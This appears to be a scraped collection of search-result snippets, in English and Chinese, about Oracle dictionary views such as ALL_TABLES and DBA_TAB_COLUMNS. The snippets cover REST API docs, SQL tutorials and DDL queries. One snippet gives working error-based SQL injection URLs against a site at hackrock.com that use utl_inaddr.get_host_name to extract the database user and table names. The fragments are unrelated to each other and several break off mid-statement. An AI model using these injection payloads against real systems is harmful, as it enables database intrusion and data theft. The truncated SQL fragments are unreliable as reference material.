get /database/objects/tables/ Describes all the tables in the database using DBA_TABLES or ALL_TABLES view depending on role at runtime. A client requires SQL Administrator or SQL Developer role to invoke this service. Request Query Parameters ...
Get all table columns get /database/objects/columns/Returns all records from DBA_TAB_COLUMNS or ALL_TAB_COLUMNS view depending on role at runtime. Records included in the response describes the columns of all tables, views, and clusters that the role has access to. A client requires ...
SELECT table_name FROM all_tables; 查询表的行数 Oracle没有内置的函数直接返回表的行数,但可以通过查询USER_TAB_ROWNUM视图(对于当前用户的表)或DBA_TAB_ROWNUM、ALL_TAB_ROWNUM视图(对于有权限访问的所有表)来获取这个信息。 -查询当前用户的某个表的行数 SELECT table_name, to_number(EXTRACTVALUE(xmltype(...
查看表:user_tables、all_tables、dba_tables 查看表字段:user_tab_columns、all_ tab_columns、dba_tab_columns 查看表注释:user_ tab_comments 、all_tab_comments、dba_tab_comments 查看字段注释:user_col_comments、all_col_comments、dba_col_comments 查看索引信息:user_indexes、all_indexes、dba_indexes 查...
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SQL> select tablespace_name from all_tables where table_name='SYS_EXPORT_FULL_01'; 创建表时指定表空间: SQL>create table a (name varchar(10)) tablespace test; 查看数据库表结构: SQL> desc dept_copy2; Name Type Nullable Default Comments ...
表统计; --行数,块数,行平均长度;all_tables:NUM_ROWS,BLOCKS,AVG_ROW_LEN; 列统计; --列中唯一值的数量(NDV),NULL值的数量,数据分布; --DBA_TAB_COLUMNS:NUM_DISTINCT,NUM_NULLS,HISTOGRAM; 索引统计;--叶块数量,等级,聚簇因子; --DBA_INDEXES:LEAF_BLOCKS,CLUSTERING_FACTOR,BLEVEL; ...
get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+ 获取表名 http://hackrock.com:8080/oracle/?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+ 获取字段名 http://hackrock....
Specific fields to retrieve from entries (default = all). Returns The outputs of this operation are dynamic. Get tablesOperation ID: GetTables This operation gets tables from a database. Returns Represents a list of tables. Body TablesList Insert...
union all select dbms_metadata.get_granted_ddl('TABLESPACE_QUOTA', dtq.username) AS DDL_SCRIPT from dba_ts_quotas dtq where dtq.username = 'TYPE_USER_NAME' and rownum = 1 union all select dbms_metadata.get_granted_ddl('ROLE_GRANT', drp.grantee) AS DDL_SCRIPT ...